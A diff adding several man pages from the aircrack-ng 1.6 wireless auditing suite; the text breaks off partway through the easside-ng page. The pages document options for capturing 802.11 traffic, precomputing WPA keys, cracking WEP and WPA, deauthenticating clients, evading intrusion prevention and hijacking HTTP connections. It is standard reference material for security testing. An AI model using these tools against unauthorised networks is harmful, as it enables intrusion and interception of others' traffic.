+.SH SEE ALSO
+.br
+.B airbase-ng(8)
+.br
+.B aireplay-ng(8)
+.br
+.B airmon-ng(8)
+.br
+.B airodump-ng(8)
+.br
+.B airserv-ng(8)
+.br
+.B airtun-ng(8)
+.br
+.B besside-ng(8)
+.br
+.B easside-ng(8)
+.br
+.B tkiptun-ng(8)
+.br
+.B wesside-ng(8)
+.br
+.B aircrack-ng(1)
+.br
+.B airdecap-ng(1)
+.br
+.B airdecloak-ng(1)
+.br
+.B airolib-ng(1)
+.br
+.B besside-ng-crawler(1)
+.br
+.B buddy-ng(1)
+.br
+.B ivstools(1)
+.br
+.B kstats(1)
+.br
+.B makeivs-ng(1)
+.br
+.B packetforge-ng(1)
+.br
+.B wpaclean(1)
+.br
+.B airventriloquist(8)

aircrack-ng-1.6.tar.gz/manpages/airodump-ng.8.in Added

@@ -0,0 +1,304 @@
+.TH AIRODUMP-NG 8 "@MAN_RELEASE_DATE@" "@MAN_RELEASE_VERSION@"
+
+.SH NAME
+airodump-ng - a wireless packet capture tool for aircrack-ng
+.SH SYNOPSIS
+.B airodump-ng
+[options] <interface name>
+.SH DESCRIPTION
+.BI airodump-ng
+is used for packet capturing of raw 802.11 frames for the intent of using them with aircrack-ng. If you have a GPS receiver connected to the computer, airodump-ng is capable of logging the coordinates of the found access points. Additionally, airodump-ng writes out a text file containing the details of all access points and clients seen.
+.SH OPTIONS
+.PP
+.TP
+.I -H, --help
+Shows the help screen.
+.TP
+.I -i, --ivs
+It only saves IVs (only useful for cracking). If this option is specified, you have to give a dump prefix (\-\-write option)
+.TP
+.I -g, --gpsd
+Indicate that airodump-ng should try to use GPSd to get coordinates.
+.TP
+.I -w <prefix>, --write <prefix>
+Is the dump file prefix to use. If this option is not given, it will only show data on the screen. Beside this file a CSV file with the same filename as the capture will be created.
+.TP
+.I -e, --beacons
+It will record all beacons into the cap file. By default it only records one beacon for each network.
+.TP
+.I -u <secs>, --update <secs>
+Delay <secs> seconds delay between display updates (default: 1 second). Useful for slow CPU.
+.TP
+.I --showack
+Prints ACK/CTS/RTS statistics. Helps in debugging and general injection optimization. It is indication if you inject, inject too fast, reach the AP, the frames are valid encrypted frames. Allows one to detect "hidden" stations, which are too far away to capture high bitrate frames, as ACK frames are sent at 1Mbps.
+.TP
+.I -h
+Hides known stations for \-\-showack.
+.TP
+.I --berlin <secs>
+Time before removing the AP/client from the screen when no more packets are received (Default: 120 seconds). See airodump-ng source for the history behind this option ;).
+.TP
+.I -c <channel>[,<channel>[,...]], --channel <channel>[,<channel>[,...]]
+Indicate the channel(s) to listen to. By default airodump-ng hops on all 2.4GHz channels.
+.TP
+.I -C <freq>[,<freq>[,...]]
+Indicates the frequencies to listen to. By default airodump-ng hops on all 2.4GHz channels.
+.TP
+.I -b <abg>, --band <abg>
+Indicate the band on which airodump-ng should hop. It can be a combination of \(aqa\(aq, \(aqb\(aq and \(aqg\(aq letters (\(aqb\(aq and \(aqg\(aq uses 2.4GHz and \(aqa\(aq uses 5GHz). Incompatible with --channel option.
+.TP
+.I -s <method>, --cswitch <method>
+Defines the way airodump-ng sets the channels when using more than one card. Valid values: 0 (FIFO, default value), 1 (Round Robin) or 2 (Hop on last).
+.TP
+.I -2, --ht20
+Set the channel to be in HT20 (802.11n).
+.TP
+.I -3, --ht40+
+Set the channel to be in HT40+ (802.11n). It requires the frequency 20MHz above to be available (4 channels above) and thus some channels are not usable in HT40+. Only channels up to 7 are available in HT40+ in the US (and 9 in most of Europe).
+.TP
+.I -5, --ht40-
+Set the channel to be in HT40- (802.11n). It requires the frequency 20MHz below to be available (4 channels be)low and thus some channels are not usable in HT40-. In 2.4GHz, HT40- channels start at channel 5.
+.TP
+.I -r <file>
+Reads packet from a file.
+.TP
+.I -T, --real-time
+While reading packets from a file specified with \(aq-r <file>\(aq, simulate the arrival rate of them, as if they were "live".
+.TP
+.I -x <msecs>
+Active Scanning Simulation (send probe requests and parse the probe responses).
+.TP
+.I -M, --manufacturer
+Display a manufacturer column with the information obtained from the IEEE OUI list. See airodump-ng-oui-update(8)
+.TP
+.I -U, --uptime
+Display APs uptime obtained from its beacon timestamp.
+.TP
+.I -W, --wps
+Display a WPS column with WPS version, config method(s), AP Setup Locked obtained from APs beacon or probe response (if any).
+.TP
+.I --output-format <formats>
+Define the formats to use (separated by a comma). Possible values are: pcap, ivs, csv, gps, kismet, netxml. The default values are: pcap, csv, kismet, kismet-newcore.
+\(aqpcap\(aq is for recording a capture in pcap format, \(aqivs\(aq is for ivs format (it is a shortcut for --ivs). \(aqcsv\(aq will create an airodump-ng CSV file, \(aqkismet\(aq will create a kismet csv file and \(aqkismet-newcore\(aq will create the kismet netxml file. \(aqgps\(aq is a shortcut for --gps.
+.br
+Theses values can be combined with the exception of ivs and pcap.
+.TP
+.I -I <seconds>, --write-interval <seconds>
+Output file(s) write interval for CSV, Kismet CSV and Kismet NetXML in seconds (minimum: 1 second). By default: 5 seconds. Note that an interval too small might slow down airodump\-ng.
+.TP
+.I -K <enable>, --background <enable>
+Override automatic background detection. Use "0" to force foreground settings and "1" to force background settings. It will not make airodump-ng run as a daemon, it will skip background autodetection and force enable/disable of interactive mode and display updates.
+.TP
+.I --ignore-negative-one
+Removes the message that says \(aqfixed channel <interface>: -1\(aq.
+.PP
+.B Filter options:
+.TP
+.I -t <OPN|WEP|WPA|WPA1|WPA2>, --encrypt <OPN|WEP|WPA|WPA1|WPA2>
+It will only show networks matching the given encryption. May be specified more than once: \(aq\-t OPN \-t WPA2\(aq
+.TP
+.I -d <bssid>, --bssid <bssid>
+It will only show networks, matching the given bssid.
+.TP
+.I -m <mask>, --netmask <mask>
+It will only show networks, matching the given bssid ^ netmask combination. Need \-\-bssid (or \-d) to be specified.
+.TP
+.I -a
+It will only show associated clients.
+.TP
+.I -n <int>, --min-packets <int>
+The minimum number of packets received by an AP before displaying it.
+.TP
+.I -N, --essid
+Filter APs by ESSID. Can be used several times to match a set of ESSID.
+.TP
+.I -R, --essid-regex
+Filter APs by ESSID using a regular expression.
+.SH INTERACTION
+.PP
+.BI airodump-ng
+can receive and interpret key strokes while running. The following list describes the currently assigned keys and supposed actions:
+.TP
+.I a
+Select active areas by cycling through these display options: AP+STA; AP+STA+ACK; AP only; STA only
+.TP
+.I d
+Reset sorting to defaults (Power)
+.TP
+.I i
+Invert sorting algorithm
+.TP
+.I m
+Mark the selected AP or cycle through different colors if the selected AP is already marked
+.TP
+.I o
+Enable colored display of APs and their stations.
+.TP
+.I p
+Disable colored display.
+.TP
+.I q
+Quit program.
+.TP
+.I r
+(De-)Activate realtime sorting - applies sorting algorithm every time the display will be redrawn
+.TP
+.I s
+Change column to sort by, which currently includes: First seen; BSSID; PWR level; Beacons; Data packets; Packet rate; Channel; Max. data rate; Encryption; Strongest Ciphersuite; Strongest Authentication; ESSID
+.TP
+.I SPACE
+Pause display redrawing/ Resume redrawing
+.TP
+.I TAB
+Enable/Disable scrolling through AP list
+.TP
+.I UP
+Select the AP prior to the currently marked AP in the displayed list if available
+.TP
+.I DOWN
+Select the AP after the currently marked AP if available
+.PP
+If an AP is selected or marked, all the connected stations will also be selected or marked with the same color as the corresponding Access Point. 
+.SH EXAMPLES
+.B airodump-ng
+\-c 9 wlan0mon
+.PP
+Here is an example screenshot:
+.PP
+-----------------------------------------------------------------------
+.br
+CH  9 ][ Elapsed: 1 min ][ 2007-04-26 17:41 ][ BAT: 2 hours 10 mins ][ WPA handshake: 00:14:6C:7E:40:80
+.br
+.PP
+BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID
+.br
+.PP
+00:09:5B:1C:AA:1D   11  16       10        0    0  11  54. OPN              <length: 7>
+.br
+00:14:6C:7A:41:81   34 100       57       14    1   9  11  WEP  WEP         bigbear
+.br
+00:14:6C:7E:40:80   32 100      752       73    2   9  54  WPA  TKIP   PSK  teddy
+.br
+.PP
+BSSID              STATION            PWR   Rate   Lost   Frames  Notes  Probes
+.br
+.PP
+00:14:6C:7A:41:81  00:0F:B5:32:31:31   51   11-11     2       14         bigbear
+.br
+(not associated)   00:14:A4:3F:8D:13   19   11-11     0        4         mossy
+.br
+00:14:6C:7A:41:81  00:0C:41:52:D1:D1   \-1    11-2     0        5         bigbear
+.br
+00:14:6C:7E:40:80  00:0F:B5:FD:FB:C2   35   36-24     0       99         teddy
+.br
+-----------------------------------------------------------------------
+.br
+.PP
+.TP
+.I BSSID
+MAC address of the access point. In the Client section, a BSSID of "(not associated)" means that the client is not associated with any AP. In this unassociated state, it is searching for an AP to connect with.
+.TP
+.I PWR
+Signal level reported by the card. Its signification depends on the driver, but as the signal gets higher you get closer to the AP or the station. If the BSSID PWR is -1, then the driver doesn\(aqt support signal level reporting. If the PWR is -1 for a limited number of stations then this is for a packet which came from the AP to the client but the client transmissions are out of range for your card. Meaning you are hearing only 1/2 of the communication. If all clients have PWR as -1 then the driver doesn\(aqt support signal level reporting.
+.TP
+.I RXQ
+Only shown when on a fixed channel. Receive Quality as measured by the percentage of packets (management and data frames) successfully received over the last 10 seconds. It\(aqs measured over all management and data frames. That\(aqs the clue, this allows you to read more things out of this value. Lets say you got 100 percent RXQ and all 10 (or whatever the rate) beacons per second coming in. Now all of a sudden the RXQ drops below 90, but you still capture all sent beacons. Thus you know that the AP is sending frames to a client but you can\(aqt hear the client nor the AP sending to the client (need to get closer). Another thing would be, that you got a 11MB card to monitor and capture frames (say a prism2.5) and you have a very good position to the AP. The AP is set to 54MBit and then again the RXQ drops, so you know that there is at least one 54MBit client connected to the AP.
+.TP
+.I Beacons
+Number of beacons sent by the AP. Each access point sends about ten beacons per second at the lowest rate (1M), so they can usually be picked up from very far.
+.TP
+.I #Data
+Number of captured data packets (if WEP, unique IV count), including data broadcast packets.
+.TP
+.I #/s
+Number of data packets per second measure over the last 10 seconds.
+.TP
+.I CH
+Channel number (taken from beacon packets). Note: sometimes packets from other channels are captured even if airodump-ng is not hopping, because of radio interference.
+.TP
+.I MB
+Maximum speed supported by the AP. If MB = 11, it\(aqs 802.11b, if MB = 22 it\(aqs 802.11b+ and higher rates are 802.11g. The dot (after 54 above) indicates short preamble is supported. \(aqe\(aq indicates that the network has QoS (802.11e) enabled.
+.TP
+.I ENC
+Encryption algorithm in use. OPN = no encryption,"WEP?" = WEP or higher (not enough data to choose between WEP and WPA/WPA2), WEP (without the question mark) indicates static or dynamic WEP, and WPA or WPA2 if TKIP or CCMP or MGT is present.
+.TP
+.I CIPHER
+The cipher detected. One of CCMP, WRAP, TKIP, WEP, WEP40, or WEP104. Not mandatory, but TKIP is typically used with WPA and CCMP is typically used with WPA2. WEP40 is displayed when the key index is greater than 0. The standard states that the index can be 0-3 for 40bit and should be 0 for 104 bit.
+.TP
+.I AUTH
+The authentication protocol used. One of MGT (WPA/WPA2 using a separate authentication server), SKA (shared key for WEP), PSK (pre-shared key for WPA/WPA2), or OPN (open for WEP).
+.TP
+.I WPS
+This is only displayed when --wps (or -W) is specified. If the AP supports WPS, the first field of the column indicates version supported. The second field indicates WPS config methods (can be more than one method, separated by comma): USB = USB method, ETHER = Ethernet, LAB = Label, DISP = Display, EXTNFC = External NFC, INTNFC = Internal NFC, NFCINTF = NFC Interface, PBC = Push Button, KPAD =  Keypad. Locked is displayed when AP setup is locked.
+.TP
+.I ESSID
+The so-called "SSID", which can be empty if SSID hiding is activated. In this case, airodump-ng will try to recover the SSID from probe responses and association requests.
+.TP
+.I STATION
+MAC address of each associated station or stations searching for an AP to connect with. Clients not currently associated with an AP have a BSSID of "(not associated)".
+.TP
+.I Rate
+This is only displayed when using a single channel. The first number is the last data rate from the AP (BSSID) to the Client (STATION). The second number is the last data rate from Client (STATION) to the AP (BSSID).
+.TP
+.I Lost
+It means lost packets coming from the client. To determine the number of packets lost, there is a sequence field on every non-control frame, so you can subtract the second last sequence number from the last sequence number and you know how many packets you have lost.
+.TP
+.I Notes
+Additional information about the client, such as captured EAPOL or PMKID.
+.TP
+.I Packets
+The number of data packets sent by the client.
+.TP
+.I Probes
+The ESSIDs probed by the client. These are the networks the client is trying to connect to if it is not currently connected.
+.PP
+The first part is the detected access points. The second part is a list of detected wireless clients, stations. By relying on the signal power, one can even physically pinpoint the location of a given station.
+.SH AUTHOR
+This manual page was written by Adam Cecile <gandalf@le-vert.net> for the Debian system (but may be used by others).
+Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation
+On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL.
+.SH SEE ALSO
+.br
+.B airbase-ng(8)
+.br
+.B aireplay-ng(8)
+.br
+.B airmon-ng(8)
+.br
+.B airodump-ng-oui-update(8)
+.br
+.B airserv-ng(8)
+.br
+.B airtun-ng(8)
+.br
+.B besside-ng(8)
+.br
+.B easside-ng(8)
+.br
+.B tkiptun-ng(8)
+.br
+.B wesside-ng(8)
+.br
+.B aircrack-ng(1)
+.br
+.B airdecap-ng(1)
+.br
+.B airdecloak-ng(1)
+.br
+.B airolib-ng(1)
+.br
+.B besside-ng-crawler(1)
+.br
+.B buddy-ng(1)
+.br
+.B ivstools(1)
+.br
+.B kstats(1)
+.br
+.B makeivs-ng(1)
+.br
+.B packetforge-ng(1)
+.br
+.B wpaclean(1)
+.br
+.B airventriloquist(8)

aircrack-ng-1.6.tar.gz/manpages/airolib-ng.1.in Added

@@ -0,0 +1,88 @@
+.TH AIROLIB-NG 1 "@MAN_RELEASE_DATE@" "@MAN_RELEASE_VERSION@"
+
+.SH NAME
+airolib-ng - manage and create a WPA/WPA2 pre-computed hashes tables
+.SH SYNOPSIS
+.B airolib-ng
+<database> <operation> [options]
+.SH DESCRIPTION
+.BI airolib-ng
+is a tool for the aircrack-ng suite to store and manage essid and password lists, compute their Pairwise Master Keys (PMKs) and use them in WPA/WPA2 cracking. The program uses the lightweight SQLite3 database as the storage mechanism which is available on most platforms. The SQLite3 database was selected taking in consideration platform availability plus management, memory and disk overhead.
+.SH DATABASE
+.TP
+.I database
+It is name of the database file. Optionally specify the full path.
+.SH OPERATION
+.TP
+.I --stats
+Output information about the database.
+.TP
+.I --sql <sql>
+Execute specified SQL statement.
+.TP
+.I --clean [all]
+Clean the database from old junk. When specifying \(aqall\(aq, it will also reduce filesize if possible and run an integrity check.
+.TP
+.I --batch
+Start/Restart batch-processing all combinations of ESSIDs and passwords. To pause, hit Ctrl-C.
+.TP
+.I --verify [all]
+Verify a set of randomly chosen PMKs. If \(aqall\(aq is given, all invalid PMK in the database will be deleted.
+.TP
+.I --import [essid|passwd] <file>
+Import a flat file as a list of ESSIDs or passwords.
+.TP
+.I import cowpatty <file>
+Import a coWPAtty file.
+.TP
+.I --export cowpatty <essid> <file>
+Export to a cowpatty file.
+.SH AUTHOR
+This manual page was written by Thomas d\(aqOtreppe.
+Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation
+On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL.
+.SH SEE ALSO
+.br
+.B airbase-ng(8)
+.br
+.B aireplay-ng(8)
+.br
+.B airmon-ng(8)
+.br
+.B airodump-ng(8)
+.br
+.B airodump-ng-oui-update(8)
+.br
+.B airserv-ng(8)
+.br
+.B airtun-ng(8)
+.br
+.B besside-ng(8)
+.br
+.B easside-ng(8)
+.br
+.B tkiptun-ng(8)
+.br
+.B wesside-ng(8)
+.br
+.B aircrack-ng(1)
+.br
+.B airdecap-ng(1)
+.br
+.B airdecloak-ng(1)
+.br
+.B besside-ng-crawler(1)
+.br
+.B buddy-ng(1)
+.br
+.B ivstools(1)
+.br
+.B kstats(1)
+.br
+.B makeivs-ng(1)
+.br
+.B packetforge-ng(1)
+.br
+.B wpaclean(1)
+.br
+.B airventriloquist(8)

aircrack-ng-1.6.tar.gz/manpages/airserv-ng.8.in Added

@@ -0,0 +1,79 @@
+.TH AIRSERV-NG 8 "@MAN_RELEASE_DATE@" "@MAN_RELEASE_VERSION@"
+
+.SH NAME
+airserv-ng - a wireless card server
+.SH SYNOPSIS
+.B airserv-ng
+<options>
+.SH DESCRIPTION
+.BI airserv-ng
+is a wireless card server which allows multiple wireless application programs to independently use a wireless card via a client-server TCP network connection. All operating system and wireless card driver specific code is incorporated into the server. This eliminates the need for each wireless application to contain the complex wireless card and driver logic. It is also supports multiple operating systems.
+.SH OPTIONS
+.PP
+.TP
+.I -h
+Shows the help screen.
+.TP
+.I -p <port>
+TCP port to listen on (by default: 666).
+.TP
+.I -d <iface>
+Wifi interface to use.
+.TP
+.I -c <chan>
+Lock interface to this channel.
+.TP
+.I -v <level>
+Debug level. There are 3 debug levels.
+Debug level of 1 shows client connection/disconnection (default).
+Debug level of 2 shows channel change requests and invalid client command requests in addition to the debug level 1 messages.
+Debug level of 3 displays a message each time a packet (and its length) is sent to the client. It also include messages from level 2 (and 1).
+.SH AUTHOR
+This manual page was written by Thomas d\(aqOtreppe.
+Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation
+On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL.
+.SH SEE ALSO
+.br
+.B airbase-ng(8)
+.br
+.B aireplay-ng(8)
+.br
+.B airmon-ng(8)
+.br
+.B airodump-ng(8)
+.br
+.B airodump-ng-oui-update(8)
+.br
+.B airtun-ng(8)
+.br
+.B besside-ng(8)
+.br
+.B easside-ng(8)
+.br
+.B tkiptun-ng(8)
+.br
+.B wesside-ng(8)
+.br
+.B aircrack-ng(1)
+.br
+.B airdecap-ng(1)
+.br
+.B airdecloak-ng(1)
+.br
+.B airolib-ng(1)
+.br
+.B besside-ng-crawler(1)
+.br
+.B buddy-ng(1)
+.br
+.B ivstools(1)
+.br
+.B kstats(1)
+.br
+.B makeivs-ng(1)
+.br
+.B packetforge-ng(1)
+.br
+.B wpaclean(1)
+.br
+.B airventriloquist(8)

aircrack-ng-1.6.tar.gz/manpages/airtun-ng.8.in Added

@@ -0,0 +1,109 @@
+.TH AIRTUN-NG 8 "@MAN_RELEASE_DATE@" "@MAN_RELEASE_VERSION@"
+
+.SH NAME
+airtun-ng - a virtual tunnel interface creator for aircrack-ng
+.SH SYNOPSIS
+.B airtun-ng
+[options] <interface name>
+.SH DESCRIPTION
+.BI airtun-ng
+creates a virtual tunnel interface (atX) for sending arbitrary IP packets by using raw ieee802.11 packet injection.
+.SH OPTIONS
+.PP
+.TP
+.I -H, --help
+Shows the help screen.
+.TP
+.I -x <pps>
+Sets maximum number of packets per second.
+.TP
+.I -a <BSSID>
+Specifies the BSSID for the iee802.11 header. In WDS Mode this sets the Receiver.
+.TP
+.I -h <SMAC>
+Specifies the source MAC for the iee802.11 header.
+.TP
+.I -i <iface>
+Sets the capture interface.
+.TP
+.I -r <file>
+Specifies a file to read 802.11 frames.
+.TP
+.I -y <PRGA-file>
+Is the name of the file, which provides the keystream for WEP encoding. (No receiving, just transmitting of IP packets.)
+.TP
+.I -w <WEP-key>
+This is the WEP key to en-/decrypt all traffic going through the tunnel.
+.TP
+.I -e <ESSID>
+Sets the target network SSID (use with -p).
+.TP
+.I -p <passphrase>
+Use this WPA passphrase to decrypt packets (use with -a and -e).
+.TP
+.I -t <tods>
+Defines the ToDS and FromDS bit in the ieee802.11 header. For tods=1, the ToDS bit is set to 1 and FromDS to 0, while tods=0 sets them the other way around. If set to 2, it will be tunneled in a WDS/bridge.
+.TP
+.I -m <netmask>, --netmask <netmask>
+Filters networks based on bssid ^ netmask combination. Needs \-d, used in replay mode. 
+.TP
+.I -d <BSSID>, --bssid <BSSID>
+Filters networks based on the <BSSID>. Used in replay mode.
+.TP
+.I -f, --repeat
+Enables replay mode. All read frames, filtered by bssid and netmask (if specified), will be replayed.
+.TP
+.I -s <transmitter>
+Set Transmitter MAC address for WDS Mode.
+.TP
+.I -b
+Bidirectional mode. This enables communication in Transmitter\(aqs AND Receiver\(aqs networks. Works only if you can see both stations.
+.SH EXAMPLES
+.B airtun-ng
+\-a 00:14:22:56:F3:4E \-t 0 \-y keystream.xor wlan0
+.PP
+.SH SEE ALSO
+.br
+.B airbase-ng(8)
+.br
+.B aireplay-ng(8)
+.br
+.B airmon-ng(8)
+.br
+.B airodump-ng(8)
+.br
+.B airodump-ng-oui-update(8)
+.br
+.B airserv-ng(8)
+.br
+.B besside-ng(8)
+.br
+.B easside-ng(8)
+.br
+.B tkiptun-ng(8)
+.br
+.B wesside-ng(8)
+.br
+.B aircrack-ng(1)
+.br
+.B airdecap-ng(1)
+.br
+.B airdecloak-ng(1)
+.br
+.B airolib-ng(1)
+.br
+.B besside-ng-crawler(1)
+.br
+.B buddy-ng(1)
+.br
+.B ivstools(1)
+.br
+.B kstats(1)
+.br
+.B makeivs-ng(1)
+.br
+.B packetforge-ng(1)
+.br
+.B wpaclean(1)
+.br
+.B airventriloquist(8)

aircrack-ng-1.6.tar.gz/manpages/airventriloquist-ng.8.in Added

@@ -0,0 +1,88 @@
+.TH AIRVENTRILOQUIST-NG 8 "@MAN_RELEASE_DATE@" "@MAN_RELEASE_VERSION@"
+
+.SH NAME
+airventriloquist-ng - encrypted WiFi packet injection
+.SH SYNOPSIS
+.B airventriloquist-ng
+[options]
+.SH DESCRIPTION
+.BI airventriloquist-ng
+injects on encrypted WiFi packet and circumvents wireless intrusion prevention systems.
+.SH OPTIONS
+.PP
+.TP
+.I --help
+Shows the help screen.
+.TP
+.I -i <replay interface>
+Interface to capture and inject. Mandatory option.
+.TP
+.I -d, --deauth
+Sends active deauthentications frames to encrypted stations.
+.TP
+.I -e <value>, --essid <value>
+ESSID of target network. For SSID containing special characters, see https://www.aircrack-ng.org/doku.php?id=faq#how_to_use_spaces_double_quote_and_single_quote_etc_in_ap_names
+.TP
+.I -p <value>, --passphrase <value>
+WPA Passphrase of the target network. Passphrase is between 8 and 63 characters long.
+.TP
+.I -c, --icmp
+Respond to all ICMP frames (Debug).
+.TP
+.I -n, --dns
+IP to resolve all DNS queries to.
+.TP
+.I -s <URL>, --hijack <URL>
+URL to look for in HTTP requests when hijacking connections. The URL can have wildcards characters. Example: *jquery*.js*
+.TP
+.I -r <URL>, --redirect <URL>
+URL to redirect hijacked connections to.
+.TP
+.I -v, --verbose
+Verbose output.
+.PP
+.SH SEE ALSO
+.br
+.B airbase-ng(8)
+.br
+.B aireplay-ng(8)
+.br
+.B airmon-ng(8)
+.br
+.B airodump-ng(8)
+.br
+.B airodump-ng-oui-update(8)
+.br
+.B airserv-ng(8)
+.br
+.B besside-ng(8)
+.br
+.B easside-ng(8)
+.br
+.B tkiptun-ng(8)
+.br
+.B wesside-ng(8)
+.br
+.B aircrack-ng(1)
+.br
+.B airdecap-ng(1)
+.br
+.B airdecloak-ng(1)
+.br
+.B airolib-ng(1)
+.br
+.B besside-ng-crawler(1)
+.br
+.B buddy-ng(1)
+.br
+.B ivstools(1)
+.br
+.B kstats(1)
+.br
+.B makeivs-ng(1)
+.br
+.B packetforge-ng(1)
+.br
+.B wpaclean(1)
+.br
+.B airtun-ng(8)

aircrack-ng-1.6.tar.gz/manpages/besside-ng-crawler.1.in Added

@@ -0,0 +1,64 @@
+.TH BESSIDE-NG-CRAWLER 1 "@MAN_RELEASE_DATE@" "@MAN_RELEASE_VERSION@"
+
+
+.SH NAME
+besside-ng-crawler - filter EAPOL frames from a directory of capture files.
+.SH SYNOPSIS
+.B besside-ng-crawler
+<Input Directory> <Output File>
+.SH DESCRIPTION
+.BI besside-ng-crawler
+
+Scans recursively on input directory looking for pcap dumpfiles and filters out
+one beacon and all EAPOL frames for the WPA networks if finds in them.
+
+.SH AUTHOR
+This manual page was written by David Francos Cuartero.
+Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation
+On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL.
+
+.SH SEE ALSO
+.br
+.B airbase-ng(8)
+.br
+.B aireplay-ng(8)
+.br
+.B airmon-ng(8)
+.br
+.B airodump-ng(8)
+.br
+.B airodump-ng-oui-update(8)
+.br
+.B airserv-ng(8)
+.br
+.B airtun-ng(8)
+.br
+.B besside-ng(8)
+.br
+.B easside-ng(8)
+.br
+.B tkiptun-ng(8)
+.br
+.B wesside-ng(8)
+.br
+.B aircrack-ng(1)
+.br
+.B airdecap-ng(1)
+.br
+.B airdecloak-ng(1)
+.br
+.B airolib-ng(1)
+.br
+.B buddy-ng(1)
+.br
+.B ivstools(1)
+.br
+.B kstats(1)
+.br
+.B makeivs-ng(1)
+.br
+.B packetforge-ng(1)
+.br
+.B wpaclean(1)
+.br
+.B airventriloquist(8)

aircrack-ng-1.6.tar.gz/manpages/besside-ng.8.in Added

@@ -0,0 +1,94 @@
+.TH BESSIDE-NG 8 "@MAN_RELEASE_DATE@" "@MAN_RELEASE_VERSION@"
+
+.SH NAME
+besside-ng - crack a WEP or WPA key without user intervention and collaborate with WPA cracking statistics
+.SH SYNOPSIS
+.B besside-ng
+[options] <interface>
+
+.SH DESCRIPTION
+.BI besside-ng
+is a tool which will crack all the WEP networks in range and log all the WPA handshakes.
+WPA handshakes can be uploaded to the online cracking service at wpa.darkircop.org.
+.BR
+Wpa.darkircop.com also provides useful statistics based on user-submitted capture
+files about the feasibility of WPA cracking.
+.PP
+.TP
+.I -b <target mac>
+Specifies the target's BSSID
+
+.TP
+.I -s <WPA server>
+Where to upload capture file for cracking. A good choice is wpa.darkircop.org
+
+.TP
+.I -c <chan>
+Channel lock
+
+.TP
+.I -p <pps>
+Packages per second to send (flood rate).
+
+.TP
+.I -W
+Crack only WPA networks
+
+.TP
+.I -v
+Verbose mode. Use -vv for more verbose, -vv for even more and so on.
+
+.TP
+.I -h
+Help screen
+
+.SH AUTHOR
+This manual page was written by David Francos Cuartero.
+Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation
+On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL.
+
+.SH SEE ALSO
+.br
+.B airbase-ng(8)
+.br
+.B aireplay-ng(8)
+.br
+.B airmon-ng(8)
+.br
+.B airodump-ng(8)
+.br
+.B airodump-ng-oui-update(8)
+.br
+.B airserv-ng(8)
+.br
+.B airtun-ng(8)
+.br
+.B easside-ng(8)
+.br
+.B tkiptun-ng(8)
+.br
+.B wesside-ng(8)
+.br
+.B aircrack-ng(1)
+.br
+.B airdecap-ng(1)
+.br
+.B airdecloak-ng(1)
+.br
+.B airolib-ng(1)
+.br
+.B besside-ng-crawler(1)
+.br
+.B buddy-ng(1)
+.br
+.B ivstools(1)
+.br
+.B kstats(1)
+.br
+.B makeivs-ng(1)
+.br
+.B packetforge-ng(1)
+.br
+.B wpaclean(1)
+.br
+.B airventriloquist(8)

aircrack-ng-1.6.tar.gz/manpages/buddy-ng.1.in Added

@@ -0,0 +1,67 @@
+.TH BUDDY-NG 1 "@MAN_RELEASE_DATE@" "@MAN_RELEASE_VERSION@"
+
+.SH NAME
+buddy-ng - a tool to work with easside-ng
+.SH SYNOPSIS
+.B buddy-ng
+<options>
+.SH DESCRIPTION
+.BI buddy-ng
+server echoes back the decrypted packets to the system running easside-ng in order to access the wireless network without knowing the WEP key. It is done by having the AP itself decrypt the packets. When ran, it automatically starts and listen to port 6969.
+.SH OPTIONS
+.PP
+.TP
+.I -h
+Shows the help screen.
+.TP
+.I -p
+Don\(aqt drop privileges
+.SH AUTHOR
+This manual page was written by Thomas d\(aqOtreppe.
+Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation
+On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL.
+.SH SEE ALSO
+.br
+.B airbase-ng(8)
+.br
+.B aireplay-ng(8)
+.br
+.B airmon-ng(8)
+.br
+.B airodump-ng(8)
+.br
+.B airodump-ng-oui-update(8)
+.br
+.B airserv-ng(8)
+.br
+.B airtun-ng(8)
+.br
+.B besside-ng(8)
+.br
+.B easside-ng(8)
+.br
+.B tkiptun-ng(8)
+.br
+.B wesside-ng(8)
+.br
+.B aircrack-ng(1)
+.br
+.B airdecap-ng(1)
+.br
+.B airdecloak-ng(1)
+.br
+.B airolib-ng(1)
+.br
+.B besside-ng-crawler(1)
+.br
+.B ivstools(1)
+.br
+.B kstats(1)
+.br
+.B makeivs-ng(1)
+.br
+.B packetforge-ng(1)
+.br
+.B wpaclean(1)
+.br
+.B airventriloquist(8)

aircrack-ng-1.6.tar.gz/manpages/easside-ng.8.in Added

@@ -0,0 +1,88 @@
+.TH EASSIDE-NG 8 "@MAN_RELEASE_DATE@" "@MAN_RELEASE_VERSION@"
+
+.SH NAME
+easside-ng - an auto-magic tool which allows you to communicate via an WEP-encrypted AP without knowing the key
+.SH SYNOPSIS
+.B easside-ng
+<options>
+.SH DESCRIPTION
+.BI easside-ng
+is an auto-magic tool which allows you to communicate via an WEP-encrypted access point (AP) without knowing the WEP key. It first identifies a network, then proceeds to associate with it, obtain PRGA (pseudo random generation algorithm) xor data, determine the network IP scheme and then setup a TAP interface so that you can communicate with the AP without requiring the WEP key. All this is done without your intervention.
+.SH OPTIONS
+.PP
+.TP
+.I -h
+Shows the help screen.
+.TP
+.I -v <victim mac>
+Victim BSSID (Optional).
+.TP
+.I -m <src mac>
+Source MAC address to be used (Optional).
+.TP
+.I -i <ip>
+Source IP address to be used on the wireless LAN. Defaults to the decoded network plus \(aq.123\(aq (Optional).
+.TP
+.I -r <router ip>
+IP address of the AP router. This could be the WAN IP of the AP or an actual router IP depending on the topology. Defaults to the decoded network plus \(aq.1\(aq (Optional).
+.TP
+.I -s <buddy ip>
+IP address of Buddy-ng server (Mandatory)
+.TP
